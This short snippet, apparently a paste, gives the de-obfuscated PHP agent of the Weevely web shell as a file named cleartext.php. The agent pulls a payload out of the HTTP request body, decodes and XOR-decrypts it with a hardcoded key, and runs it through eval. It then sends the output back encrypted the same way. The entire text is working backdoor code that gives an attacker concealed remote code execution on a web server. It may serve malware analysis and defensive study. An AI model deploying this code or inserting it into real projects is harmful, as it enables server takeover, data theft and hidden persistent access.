Weevely's backdoor PHP code, unobfuscated

cleartext.php

<?php
$k="97bf34d3";$kh="1a8710e6b164";$kf="9fd33357f783";$p="5ZGtAGceuaFv00jx";

function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l; ){
        for($j=0; ($j<$c && $i<$l); $j++,$i++)
        {
            $o .= $t{$i}^$k{$j};
        }
    }
    return $o;
}
if (preg_match("/$kh(.+)$kf/",file_get_contents("php://input"),$m)==1) {
    ob_start();
    eval(gzuncompress(x(base64_decode($m[1]),$k)));
    $o=ob_get_contents();
    ob_end_clean();
    $r=base64_encode(x(gzcompress($o),$k));
    print("$p$kh$r$kf");
}
?>